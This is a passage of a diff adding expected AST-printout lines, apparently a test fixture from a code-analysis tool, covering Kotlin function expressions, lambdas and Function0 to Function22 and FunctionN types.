+#    4|       5: [BlockStmt] { ... }
+#    4|         0: [ExprStmt] <Expr>;
+#    4|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    4|             0: [TypeAccess] Unit
+#    4|             1: [MethodAccess] invoke(...)
+#    4|               -1: [VarAccess] f
+#    4|               0: [VarAccess] x
+#    5|     5: [Method] functionExpression1b
+#    5|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    5|         0: [Parameter] x
+#    5|           0: [TypeAccess] int
+#    5|         1: [Parameter] f
+#    5|           0: [TypeAccess] Function1<Object,Object>
+#    5|             0: [TypeAccess] Object
+#    5|             1: [TypeAccess] Object
+#    5|       5: [BlockStmt] { ... }
+#    5|         0: [ExprStmt] <Expr>;
+#    5|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    5|             0: [TypeAccess] Unit
+#    5|             1: [MethodAccess] invoke(...)
+#    5|               -1: [VarAccess] f
+#    5|               0: [VarAccess] x
+#    6|     6: [Method] functionExpression1c
+#    6|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    6|         0: [Parameter] x
+#    6|           0: [TypeAccess] int
+#    6|         1: [Parameter] f
+#    6|           0: [TypeAccess] Function2<FuncRef,Integer,Integer>
+#    6|             0: [TypeAccess] FuncRef
+#    6|             1: [TypeAccess] Integer
+#    6|             2: [TypeAccess] Integer
+#    6|       5: [BlockStmt] { ... }
+#    6|         0: [ExprStmt] <Expr>;
+#    6|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    6|             0: [TypeAccess] Unit
+#    6|             1: [MethodAccess] invoke(...)
+#    6|               -1: [VarAccess] f
+#    6|               0: [ClassInstanceExpr] new FuncRef(...)
+#    6|                 -3: [TypeAccess] FuncRef
+#    6|               1: [VarAccess] x
+#    7|     7: [Method] functionExpression2
+#    7|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    7|         0: [Parameter] x
+#    7|           0: [TypeAccess] int
+#    7|         1: [Parameter] f
+#    7|           0: [TypeAccess] Function2<Integer,Integer,Integer>
+#    7|             0: [TypeAccess] Integer
+#    7|             1: [TypeAccess] Integer
+#    7|             2: [TypeAccess] Integer
+#    7|       5: [BlockStmt] { ... }
+#    7|         0: [ExprStmt] <Expr>;
+#    7|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    7|             0: [TypeAccess] Unit
+#    7|             1: [MethodAccess] invoke(...)
+#    7|               -1: [VarAccess] f
+#    7|               0: [VarAccess] x
+#    7|               1: [VarAccess] x
+#    8|     8: [Method] functionExpression3
+#    8|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    8|         0: [Parameter] x
+#    8|           0: [TypeAccess] int
+#    8|         1: [Parameter] f
+#    8|           0: [TypeAccess] Function2<Integer,Integer,Integer>
+#    8|             0: [TypeAccess] Integer
+#    8|             1: [TypeAccess] Integer
+#    8|             2: [TypeAccess] Integer
+#    8|       5: [BlockStmt] { ... }
+#    8|         0: [ExprStmt] <Expr>;
+#    8|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    8|             0: [TypeAccess] Unit
+#    8|             1: [MethodAccess] invoke(...)
+#    8|               -1: [VarAccess] f
+#    8|               0: [VarAccess] x
+#    8|               1: [VarAccess] x
+#    9|     9: [Method] functionExpression4
+#    9|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#    9|         0: [Parameter] x
+#    9|           0: [TypeAccess] int
+#    9|         1: [Parameter] f
+#    9|           0: [TypeAccess] Function1<Integer,Function1<Integer,Double>>
+#    9|             0: [TypeAccess] Integer
+#    9|             1: [TypeAccess] Function1<Integer,Double>
+#    9|               0: [TypeAccess] Integer
+#    9|               1: [TypeAccess] Double
+#    9|       5: [BlockStmt] { ... }
+#    9|         0: [ExprStmt] <Expr>;
+#    9|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#    9|             0: [TypeAccess] Unit
+#    9|             1: [MethodAccess] invoke(...)
+#    9|               -1: [MethodAccess] invoke(...)
+#    9|                 -1: [VarAccess] f
+#    9|                 0: [VarAccess] x
+#    9|               0: [VarAccess] x
+#   11|     10: [Method] functionExpression22
+#   11|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   11|         0: [Parameter] x
+#   11|           0: [TypeAccess] int
+#   11|         1: [Parameter] f
+#   11|           0: [TypeAccess] Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit>
+#   11|             0: [TypeAccess] Integer
+#   11|             1: [TypeAccess] Integer
+#   11|             2: [TypeAccess] Integer
+#   11|             3: [TypeAccess] Integer
+#   11|             4: [TypeAccess] Integer
+#   11|             5: [TypeAccess] Integer
+#   11|             6: [TypeAccess] Integer
+#   11|             7: [TypeAccess] Integer
+#   11|             8: [TypeAccess] Integer
+#   11|             9: [TypeAccess] Integer
+#   11|             10: [TypeAccess] Integer
+#   11|             11: [TypeAccess] Integer
+#   11|             12: [TypeAccess] Integer
+#   11|             13: [TypeAccess] Integer
+#   11|             14: [TypeAccess] Integer
+#   11|             15: [TypeAccess] Integer
+#   11|             16: [TypeAccess] Integer
+#   11|             17: [TypeAccess] Integer
+#   11|             18: [TypeAccess] Integer
+#   11|             19: [TypeAccess] Integer
+#   11|             20: [TypeAccess] Integer
+#   11|             21: [TypeAccess] Integer
+#   11|             22: [TypeAccess] Unit
+#   11|       5: [BlockStmt] { ... }
+#   12|         0: [ExprStmt] <Expr>;
+#   12|           0: [MethodAccess] invoke(...)
+#   12|             -1: [VarAccess] f
+#   12|             0: [VarAccess] x
+#   12|             1: [VarAccess] x
+#   12|             2: [VarAccess] x
+#   12|             3: [VarAccess] x
+#   12|             4: [VarAccess] x
+#   12|             5: [VarAccess] x
+#   12|             6: [VarAccess] x
+#   12|             7: [VarAccess] x
+#   12|             8: [VarAccess] x
+#   12|             9: [VarAccess] x
+#   12|             10: [VarAccess] x
+#   12|             11: [VarAccess] x
+#   12|             12: [VarAccess] x
+#   12|             13: [VarAccess] x
+#   12|             14: [VarAccess] x
+#   12|             15: [VarAccess] x
+#   12|             16: [VarAccess] x
+#   12|             17: [VarAccess] x
+#   12|             18: [VarAccess] x
+#   12|             19: [VarAccess] x
+#   12|             20: [VarAccess] x
+#   12|             21: [VarAccess] x
+#   14|     11: [Method] functionExpression23
+#   14|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   14|         0: [Parameter] x
+#   14|           0: [TypeAccess] int
+#   14|         1: [Parameter] f
+#   14|           0: [TypeAccess] FunctionN<String>
+#   14|             0: [TypeAccess] Integer
+#   14|             1: [TypeAccess] Integer
+#   14|             2: [TypeAccess] Integer
+#   14|             3: [TypeAccess] Integer
+#   14|             4: [TypeAccess] Integer
+#   14|             5: [TypeAccess] Integer
+#   14|             6: [TypeAccess] Integer
+#   14|             7: [TypeAccess] Integer
+#   14|             8: [TypeAccess] Integer
+#   14|             9: [TypeAccess] Integer
+#   14|             10: [TypeAccess] Integer
+#   14|             11: [TypeAccess] Integer
+#   14|             12: [TypeAccess] Integer
+#   14|             13: [TypeAccess] Integer
+#   14|             14: [TypeAccess] Integer
+#   14|             15: [TypeAccess] Integer
+#   14|             16: [TypeAccess] Integer
+#   14|             17: [TypeAccess] Integer
+#   14|             18: [TypeAccess] Integer
+#   14|             19: [TypeAccess] Integer
+#   14|             20: [TypeAccess] Integer
+#   14|             21: [TypeAccess] Integer
+#   14|             22: [TypeAccess] Integer
+#   14|             23: [TypeAccess] String
+#   14|       5: [BlockStmt] { ... }
+#   15|         0: [ExprStmt] <Expr>;
+#   15|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#   15|             0: [TypeAccess] Unit
+#   15|             1: [MethodAccess] invoke(...)
+#   15|               -1: [VarAccess] f
+#   15|               0: [ArrayCreationExpr] new Object[]
+#   15|                 -2: [ArrayInit] {...}
+#   15|                   0: [VarAccess] x
+#   15|                   1: [VarAccess] x
+#   15|                   2: [VarAccess] x
+#   15|                   3: [VarAccess] x
+#   15|                   4: [VarAccess] x
+#   15|                   5: [VarAccess] x
+#   15|                   6: [VarAccess] x
+#   15|                   7: [VarAccess] x
+#   15|                   8: [VarAccess] x
+#   15|                   9: [VarAccess] x
+#   15|                   10: [VarAccess] x
+#   15|                   11: [VarAccess] x
+#   15|                   12: [VarAccess] x
+#   15|                   13: [VarAccess] x
+#   15|                   14: [VarAccess] x
+#   15|                   15: [VarAccess] x
+#   15|                   16: [VarAccess] x
+#   15|                   17: [VarAccess] x
+#   15|                   18: [VarAccess] x
+#   15|                   19: [VarAccess] x
+#   15|                   20: [VarAccess] x
+#   15|                   21: [VarAccess] x
+#   15|                   22: [VarAccess] x
+#   15|                 -1: [TypeAccess] Object
+#   15|                 0: [IntegerLiteral] 23
+#   17|     12: [Method] functionExpression23c
+#   17|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   17|         0: [Parameter] x
+#   17|           0: [TypeAccess] int
+#   17|         1: [Parameter] f
+#   17|           0: [TypeAccess] FunctionN<String>
+#   17|             0: [TypeAccess] FuncRef
+#   17|             1: [TypeAccess] Integer
+#   17|             2: [TypeAccess] Integer
+#   17|             3: [TypeAccess] Integer
+#   17|             4: [TypeAccess] Integer
+#   17|             5: [TypeAccess] Integer
+#   17|             6: [TypeAccess] Integer
+#   17|             7: [TypeAccess] Integer
+#   17|             8: [TypeAccess] Integer
+#   17|             9: [TypeAccess] Integer
+#   17|             10: [TypeAccess] Integer
+#   17|             11: [TypeAccess] Integer
+#   17|             12: [TypeAccess] Integer
+#   17|             13: [TypeAccess] Integer
+#   17|             14: [TypeAccess] Integer
+#   17|             15: [TypeAccess] Integer
+#   17|             16: [TypeAccess] Integer
+#   17|             17: [TypeAccess] Integer
+#   17|             18: [TypeAccess] Integer
+#   17|             19: [TypeAccess] Integer
+#   17|             20: [TypeAccess] Integer
+#   17|             21: [TypeAccess] Integer
+#   17|             22: [TypeAccess] Integer
+#   17|             23: [TypeAccess] Integer
+#   17|             24: [TypeAccess] String
+#   17|       5: [BlockStmt] { ... }
+#   18|         0: [ExprStmt] <Expr>;
+#   18|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#   18|             0: [TypeAccess] Unit
+#   18|             1: [MethodAccess] invoke(...)
+#   18|               -1: [VarAccess] f
+#   18|               0: [ArrayCreationExpr] new Object[]
+#   18|                 -2: [ArrayInit] {...}
+#   18|                   0: [ClassInstanceExpr] new FuncRef(...)
+#   18|                     -3: [TypeAccess] FuncRef
+#   18|                   1: [VarAccess] x
+#   18|                   2: [VarAccess] x
+#   18|                   3: [VarAccess] x
+#   18|                   4: [VarAccess] x
+#   18|                   5: [VarAccess] x
+#   18|                   6: [VarAccess] x
+#   18|                   7: [VarAccess] x
+#   18|                   8: [VarAccess] x
+#   18|                   9: [VarAccess] x
+#   18|                   10: [VarAccess] x
+#   18|                   11: [VarAccess] x
+#   18|                   12: [VarAccess] x
+#   18|                   13: [VarAccess] x
+#   18|                   14: [VarAccess] x
+#   18|                   15: [VarAccess] x
+#   18|                   16: [VarAccess] x
+#   18|                   17: [VarAccess] x
+#   18|                   18: [VarAccess] x
+#   18|                   19: [VarAccess] x
+#   18|                   20: [VarAccess] x
+#   18|                   21: [VarAccess] x
+#   18|                   22: [VarAccess] x
+#   18|                   23: [VarAccess] x
+#   18|                 -1: [TypeAccess] Object
+#   18|                 0: [IntegerLiteral] 24
+#   21|     13: [Method] call
+#   21|       3: [TypeAccess] Unit
+#   21|       5: [BlockStmt] { ... }
+#   22|         0: [ExprStmt] <Expr>;
+#   22|           0: [MethodAccess] functionExpression0a(...)
+#   22|             -1: [TypeAccess] FuncExprsKt
+#   22|             0: [LambdaExpr] ...->...
+#   22|               -4: [AnonymousClass] new Function0<Integer>(...) { ... }
+#   22|                 1: [Constructor] 
+#   22|                   5: [BlockStmt] { ... }
+#   22|                     0: [SuperConstructorInvocationStmt] super(...)
+#   22|                 1: [Method] invoke
+#   22|                   3: [TypeAccess] int
+#   22|                   5: [BlockStmt] { ... }
+#   22|                     0: [ReturnStmt] return ...
+#   22|                       0: [IntegerLiteral] 5
+#   22|               -3: [TypeAccess] Function0<Integer>
+#   22|                 0: [TypeAccess] Integer
+#   23|         1: [ExprStmt] <Expr>;
+#   23|           0: [MethodAccess] functionExpression0b(...)
+#   23|             -1: [TypeAccess] FuncExprsKt
+#   23|             0: [LambdaExpr] ...->...
+#   23|               -4: [AnonymousClass] new Function0<Object>(...) { ... }
+#   23|                 1: [Constructor] 
+#   23|                   5: [BlockStmt] { ... }
+#   23|                     0: [SuperConstructorInvocationStmt] super(...)
+#   23|                 1: [Method] invoke
+#   23|                   3: [TypeAccess] Object
+#   23|                   5: [BlockStmt] { ... }
+#   23|                     0: [ReturnStmt] return ...
+#   23|                       0: [IntegerLiteral] 5
+#   23|               -3: [TypeAccess] Function0<Object>
+#   23|                 0: [TypeAccess] Object
+#   24|         2: [ExprStmt] <Expr>;
+#   24|           0: [MethodAccess] functionExpression0c(...)
+#   24|             -1: [TypeAccess] FuncExprsKt
+#   24|             0: [LambdaExpr] ...->...
+#   24|               -4: [AnonymousClass] new Function0<Object>(...) { ... }
+#   24|                 1: [Constructor] 
+#   24|                   5: [BlockStmt] { ... }
+#   24|                     0: [SuperConstructorInvocationStmt] super(...)
+#   24|                 1: [Method] invoke
+#   24|                   3: [TypeAccess] Object
+#   24|                   5: [BlockStmt] { ... }
+#   24|                     0: [ReturnStmt] return ...
+#   24|                       0: [IntegerLiteral] 5
+#   24|               -3: [TypeAccess] Function0<Object>
+#   24|                 0: [TypeAccess] Object
+#   25|         3: [ExprStmt] <Expr>;
+#   25|           0: [MethodAccess] functionExpression1a(...)
+#   25|             -1: [TypeAccess] FuncExprsKt
+#   25|             0: [IntegerLiteral] 5
+#   25|             1: [LambdaExpr] ...->...
+#   25|               -4: [AnonymousClass] new Function1<Integer,Integer>(...) { ... }
+#   25|                 1: [Constructor] 
+#   25|                   5: [BlockStmt] { ... }
+#   25|                     0: [SuperConstructorInvocationStmt] super(...)
+#   25|                 1: [Method] invoke
+#   25|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   25|                     0: [Parameter] a
+#   25|                       0: [TypeAccess] int
+#   25|                   5: [BlockStmt] { ... }
+#   25|                     0: [ReturnStmt] return ...
+#   25|                       0: [IntegerLiteral] 5
+#   25|               -3: [TypeAccess] Function1<Integer,Integer>
+#   25|                 0: [TypeAccess] Integer
+#   25|                 1: [TypeAccess] Integer
+#   26|         4: [ExprStmt] <Expr>;
+#   26|           0: [MethodAccess] functionExpression1a(...)
+#   26|             -1: [TypeAccess] FuncExprsKt
+#   26|             0: [IntegerLiteral] 5
+#   26|             1: [LambdaExpr] ...->...
+#   26|               -4: [AnonymousClass] new Function1<Integer,Integer>(...) { ... }
+#   26|                 1: [Constructor] 
+#   26|                   5: [BlockStmt] { ... }
+#   26|                     0: [SuperConstructorInvocationStmt] super(...)
+#   26|                 1: [Method] invoke
+#   26|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   26|                     0: [Parameter] it
+#   26|                       0: [TypeAccess] int
+#   26|                   5: [BlockStmt] { ... }
+#   26|                     0: [ReturnStmt] return ...
+#   26|                       0: [VarAccess] it
+#   26|               -3: [TypeAccess] Function1<Integer,Integer>
+#   26|                 0: [TypeAccess] Integer
+#   26|                 1: [TypeAccess] Integer
+#   27|         5: [ExprStmt] <Expr>;
+#   27|           0: [MethodAccess] functionExpression1a(...)
+#   27|             -1: [TypeAccess] FuncExprsKt
+#   27|             0: [IntegerLiteral] 5
+#   27|             1: [LambdaExpr] ...->...
+#   27|               -4: [AnonymousClass] new Function1<Integer,Integer>(...) { ... }
+#   27|                 1: [Constructor] 
+#   27|                   5: [BlockStmt] { ... }
+#   27|                     0: [SuperConstructorInvocationStmt] super(...)
+#   27|                 1: [Method] invoke
+#   27|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   27|                     0: [Parameter] <anonymous parameter 0>
+#   27|                       0: [TypeAccess] int
+#   27|                   5: [BlockStmt] { ... }
+#   27|                     0: [ReturnStmt] return ...
+#   27|                       0: [IntegerLiteral] 5
+#   27|               -3: [TypeAccess] Function1<Integer,Integer>
+#   27|                 0: [TypeAccess] Integer
+#   27|                 1: [TypeAccess] Integer
+#   28|         6: [ExprStmt] <Expr>;
+#   28|           0: [MethodAccess] functionExpression1a(...)
+#   28|             -1: [TypeAccess] FuncExprsKt
+#   28|             0: [IntegerLiteral] 5
+#   28|             1: [ClassInstanceExpr] new MyLambda(...)
+#   28|               -3: [TypeAccess] MyLambda
+#   29|         7: [ExprStmt] <Expr>;
+#   29|           0: [MethodAccess] functionExpression1b(...)
+#   29|             -1: [TypeAccess] FuncExprsKt
+#   29|             0: [IntegerLiteral] 5
+#   29|             1: [LambdaExpr] ...->...
+#   29|               -4: [AnonymousClass] new Function1<Object,Object>(...) { ... }
+#   29|                 1: [Constructor] 
+#   29|                   5: [BlockStmt] { ... }
+#   29|                     0: [SuperConstructorInvocationStmt] super(...)
+#   29|                 1: [Method] invoke
+#   29|                   3: [TypeAccess] Object
+#-----|                   4: (Parameters)
+#   29|                     0: [Parameter] a
+#   29|                       0: [TypeAccess] Object
+#   29|                   5: [BlockStmt] { ... }
+#   29|                     0: [ReturnStmt] return ...
+#   29|                       0: [VarAccess] a
+#   29|               -3: [TypeAccess] Function1<Object,Object>
+#   29|                 0: [TypeAccess] Object
+#   29|                 1: [TypeAccess] Object
+#   30|         8: [ExprStmt] <Expr>;
+#   30|           0: [MethodAccess] functionExpression2(...)
+#   30|             -1: [TypeAccess] FuncExprsKt
+#   30|             0: [IntegerLiteral] 5
+#   30|             1: [LambdaExpr] ...->...
+#   30|               -4: [AnonymousClass] new Function2<Integer,Integer,Integer>(...) { ... }
+#   30|                 1: [Constructor] 
+#   30|                   5: [BlockStmt] { ... }
+#   30|                     0: [SuperConstructorInvocationStmt] super(...)
+#   30|                 1: [Method] invoke
+#   30|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   30|                     0: [Parameter] <anonymous parameter 0>
+#   30|                       0: [TypeAccess] int
+#   30|                     1: [Parameter] <anonymous parameter 1>
+#   30|                       0: [TypeAccess] int
+#   30|                   5: [BlockStmt] { ... }
+#   30|                     0: [ReturnStmt] return ...
+#   30|                       0: [IntegerLiteral] 5
+#   30|               -3: [TypeAccess] Function2<Integer,Integer,Integer>
+#   30|                 0: [TypeAccess] Integer
+#   30|                 1: [TypeAccess] Integer
+#   30|                 2: [TypeAccess] Integer
+#   31|         9: [ExprStmt] <Expr>;
+#   31|           0: [MethodAccess] functionExpression2(...)
+#   31|             -1: [TypeAccess] FuncExprsKt
+#   31|             0: [IntegerLiteral] 5
+#   31|             1: [LambdaExpr] ...->...
+#   31|               -4: [AnonymousClass] new Function2<Integer,Integer,Integer>(...) { ... }
+#   31|                 1: [Constructor] 
+#   31|                   5: [BlockStmt] { ... }
+#   31|                     0: [SuperConstructorInvocationStmt] super(...)
+#   31|                 1: [Method] invoke
+#   31|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   31|                     0: [Parameter] <anonymous parameter 0>
+#   31|                       0: [TypeAccess] int
+#   31|                     1: [Parameter] <anonymous parameter 1>
+#   31|                       0: [TypeAccess] int
+#   31|                   5: [BlockStmt] { ... }
+#   31|                     0: [ReturnStmt] return ...
+#   31|                       0: [IntegerLiteral] 5
+#   31|               -3: [TypeAccess] Function2<Integer,Integer,Integer>
+#   31|                 0: [TypeAccess] Integer
+#   31|                 1: [TypeAccess] Integer
+#   31|                 2: [TypeAccess] Integer
+#   32|         10: [ExprStmt] <Expr>;
+#   32|           0: [MethodAccess] functionExpression3(...)
+#   32|             -1: [TypeAccess] FuncExprsKt
+#   32|             0: [IntegerLiteral] 5
+#   32|             1: [LambdaExpr] ...->...
+#   32|               -4: [AnonymousClass] new Function2<Integer,Integer,Integer>(...) { ... }
+#   32|                 1: [Constructor] 
+#   32|                   5: [BlockStmt] { ... }
+#   32|                     0: [SuperConstructorInvocationStmt] super(...)
+#   32|                 1: [ExtensionMethod] invoke
+#   32|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   32|                     0: [Parameter] $this$functionExpression3
+#   32|                       0: [TypeAccess] int
+#   32|                     1: [Parameter] a
+#   32|                       0: [TypeAccess] int
+#   32|                   5: [BlockStmt] { ... }
+#   32|                     0: [ReturnStmt] return ...
+#   32|                       0: [AddExpr] ... + ...
+#   32|                         0: [ExtensionReceiverAccess] this
+#   32|                         1: [VarAccess] a
+#   32|               -3: [TypeAccess] Function2<Integer,Integer,Integer>
+#   32|                 0: [TypeAccess] Integer
+#   32|                 1: [TypeAccess] Integer
+#   32|                 2: [TypeAccess] Integer
+#   33|         11: [ExprStmt] <Expr>;
+#   33|           0: [MethodAccess] functionExpression4(...)
+#   33|             -1: [TypeAccess] FuncExprsKt
+#   33|             0: [IntegerLiteral] 5
+#   33|             1: [LambdaExpr] ...->...
+#   33|               -4: [AnonymousClass] new Function1<Integer,Function1<Integer,Double>>(...) { ... }
+#   33|                 1: [Constructor] 
+#   33|                   5: [BlockStmt] { ... }
+#   33|                     0: [SuperConstructorInvocationStmt] super(...)
+#   33|                 1: [Method] invoke
+#   33|                   3: [TypeAccess] Function1<Integer,Double>
+#   33|                     0: [TypeAccess] Integer
+#   33|                     1: [TypeAccess] Double
+#-----|                   4: (Parameters)
+#   33|                     0: [Parameter] a
+#   33|                       0: [TypeAccess] int
+#   33|                   5: [BlockStmt] { ... }
+#   33|                     0: [ReturnStmt] return ...
+#   33|                       0: [LambdaExpr] ...->...
+#   33|                         -4: [AnonymousClass] new Function1<Integer,Double>(...) { ... }
+#   33|                           1: [Constructor] 
+#   33|                             5: [BlockStmt] { ... }
+#   33|                               0: [SuperConstructorInvocationStmt] super(...)
+#   33|                           1: [Method] invoke
+#   33|                             3: [TypeAccess] double
+#-----|                             4: (Parameters)
+#   33|                               0: [Parameter] b
+#   33|                                 0: [TypeAccess] int
+#   33|                             5: [BlockStmt] { ... }
+#   33|                               0: [ReturnStmt] return ...
+#   33|                                 0: [DoubleLiteral] 5.0
+#   33|                         -3: [TypeAccess] Function1<Integer,Double>
+#   33|                           0: [TypeAccess] Integer
+#   33|                           1: [TypeAccess] Double
+#   33|               -3: [TypeAccess] Function1<Integer,Function1<Integer,Double>>
+#   33|                 0: [TypeAccess] Integer
+#   33|                 1: [TypeAccess] Function1<Integer,Double>
+#   33|                   0: [TypeAccess] Integer
+#   33|                   1: [TypeAccess] Double
+#   35|         12: [ExprStmt] <Expr>;
+#   35|           0: [MethodAccess] functionExpression22(...)
+#   35|             -1: [TypeAccess] FuncExprsKt
+#   35|             0: [IntegerLiteral] 5
+#   35|             1: [LambdaExpr] ...->...
+#   35|               -4: [AnonymousClass] new Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit>(...) { ... }
+#   35|                 1: [Constructor] 
+#   35|                   5: [BlockStmt] { ... }
+#   35|                     0: [SuperConstructorInvocationStmt] super(...)
+#   35|                 1: [Method] invoke
+#   35|                   3: [TypeAccess] Unit
+#-----|                   4: (Parameters)
+#   35|                     0: [Parameter] a0
+#   35|                       0: [TypeAccess] int
+#   35|                     1: [Parameter] a1
+#   35|                       0: [TypeAccess] int
+#   35|                     2: [Parameter] a2
+#   35|                       0: [TypeAccess] int
+#   35|                     3: [Parameter] a3
+#   35|                       0: [TypeAccess] int
+#   35|                     4: [Parameter] a4
+#   35|                       0: [TypeAccess] int
+#   35|                     5: [Parameter] a5
+#   35|                       0: [TypeAccess] int
+#   35|                     6: [Parameter] a6
+#   35|                       0: [TypeAccess] int
+#   35|                     7: [Parameter] a7
+#   35|                       0: [TypeAccess] int
+#   35|                     8: [Parameter] a8
+#   35|                       0: [TypeAccess] int
+#   35|                     9: [Parameter] a9
+#   35|                       0: [TypeAccess] int
+#   35|                     10: [Parameter] a10
+#   35|                       0: [TypeAccess] int
+#   35|                     11: [Parameter] a11
+#   35|                       0: [TypeAccess] int
+#   35|                     12: [Parameter] a12
+#   35|                       0: [TypeAccess] int
+#   35|                     13: [Parameter] a13
+#   35|                       0: [TypeAccess] int
+#   35|                     14: [Parameter] a14
+#   35|                       0: [TypeAccess] int
+#   35|                     15: [Parameter] a15
+#   35|                       0: [TypeAccess] int
+#   35|                     16: [Parameter] a16
+#   35|                       0: [TypeAccess] int
+#   35|                     17: [Parameter] a17
+#   35|                       0: [TypeAccess] int
+#   35|                     18: [Parameter] a18
+#   35|                       0: [TypeAccess] int
+#   35|                     19: [Parameter] a19
+#   35|                       0: [TypeAccess] int
+#   35|                     20: [Parameter] a20
+#   35|                       0: [TypeAccess] int
+#   35|                     21: [Parameter] a21
+#   35|                       0: [TypeAccess] int
+#   35|                   5: [BlockStmt] { ... }
+#   35|                     0: [ExprStmt] <Expr>;
+#   35|                       0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#   35|                         0: [TypeAccess] Unit
+#   35|                         1: [IntegerLiteral] 5
+#   35|               -3: [TypeAccess] Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit>
+#   35|                 0: [TypeAccess] Integer
+#   35|                 1: [TypeAccess] Integer
+#   35|                 2: [TypeAccess] Integer
+#   35|                 3: [TypeAccess] Integer
+#   35|                 4: [TypeAccess] Integer
+#   35|                 5: [TypeAccess] Integer
+#   35|                 6: [TypeAccess] Integer
+#   35|                 7: [TypeAccess] Integer
+#   35|                 8: [TypeAccess] Integer
+#   35|                 9: [TypeAccess] Integer
+#   35|                 10: [TypeAccess] Integer
+#   35|                 11: [TypeAccess] Integer
+#   35|                 12: [TypeAccess] Integer
+#   35|                 13: [TypeAccess] Integer
+#   35|                 14: [TypeAccess] Integer
+#   35|                 15: [TypeAccess] Integer
+#   35|                 16: [TypeAccess] Integer
+#   35|                 17: [TypeAccess] Integer
+#   35|                 18: [TypeAccess] Integer
+#   35|                 19: [TypeAccess] Integer
+#   35|                 20: [TypeAccess] Integer
+#   35|                 21: [TypeAccess] Integer
+#   35|                 22: [TypeAccess] Unit
+#   36|         13: [ExprStmt] <Expr>;
+#   36|           0: [MethodAccess] functionExpression23(...)
+#   36|             -1: [TypeAccess] FuncExprsKt
+#   36|             0: [IntegerLiteral] 5
+#   36|             1: [LambdaExpr] ...->...
+#   36|               -4: [AnonymousClass] new FunctionN<String>(...) { ... }
+#   36|                 1: [Constructor] 
+#   36|                   5: [BlockStmt] { ... }
+#   36|                     0: [SuperConstructorInvocationStmt] super(...)
+#   36|                 1: [Method] invoke
+#   36|                   3: [TypeAccess] String
+#-----|                   4: (Parameters)
+#   36|                     0: [Parameter] a0
+#   36|                       0: [TypeAccess] int
+#   36|                     1: [Parameter] a1
+#   36|                       0: [TypeAccess] int
+#   36|                     2: [Parameter] a2
+#   36|                       0: [TypeAccess] int
+#   36|                     3: [Parameter] a3
+#   36|                       0: [TypeAccess] int
+#   36|                     4: [Parameter] a4
+#   36|                       0: [TypeAccess] int
+#   36|                     5: [Parameter] a5
+#   36|                       0: [TypeAccess] int
+#   36|                     6: [Parameter] a6
+#   36|                       0: [TypeAccess] int
+#   36|                     7: [Parameter] a7
+#   36|                       0: [TypeAccess] int
+#   36|                     8: [Parameter] a8
+#   36|                       0: [TypeAccess] int
+#   36|                     9: [Parameter] a9
+#   36|                       0: [TypeAccess] int
+#   36|                     10: [Parameter] a10
+#   36|                       0: [TypeAccess] int
+#   36|                     11: [Parameter] a11
+#   36|                       0: [TypeAccess] int
+#   36|                     12: [Parameter] a12
+#   36|                       0: [TypeAccess] int
+#   36|                     13: [Parameter] a13
+#   36|                       0: [TypeAccess] int
+#   36|                     14: [Parameter] a14
+#   36|                       0: [TypeAccess] int
+#   36|                     15: [Parameter] a15
+#   36|                       0: [TypeAccess] int
+#   36|                     16: [Parameter] a16
+#   36|                       0: [TypeAccess] int
+#   36|                     17: [Parameter] a17
+#   36|                       0: [TypeAccess] int
+#   36|                     18: [Parameter] a18
+#   36|                       0: [TypeAccess] int
+#   36|                     19: [Parameter] a19
+#   36|                       0: [TypeAccess] int
+#   36|                     20: [Parameter] a20
+#   36|                       0: [TypeAccess] int
+#   36|                     21: [Parameter] a21
+#   36|                       0: [TypeAccess] int
+#   36|                     22: [Parameter] a22
+#   36|                       0: [TypeAccess] int
+#   36|                   5: [BlockStmt] { ... }
+#   36|                     0: [ReturnStmt] return ...
+#   36|                       0: [StringLiteral] 
+#   36|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   36|                     0: [Parameter] a0
+#   36|                   5: [BlockStmt] { ... }
+#   36|                     0: [ReturnStmt] return ...
+#   36|                       0: [MethodAccess] invoke(...)
+#   36|                         -1: [ThisAccess] this
+#   36|                         0: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 0
+#   36|                         1: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 1
+#   36|                         2: [CastExpr] (...)...
+#   36|                           0: [TypeAccess] int
+#   36|                           1: [ArrayAccess] ...[...]
+#   36|                             0: [VarAccess] a0
+#   36|                             1: [IntegerLiteral] 2
+#   36|                         3: [CastExpr] (...)...
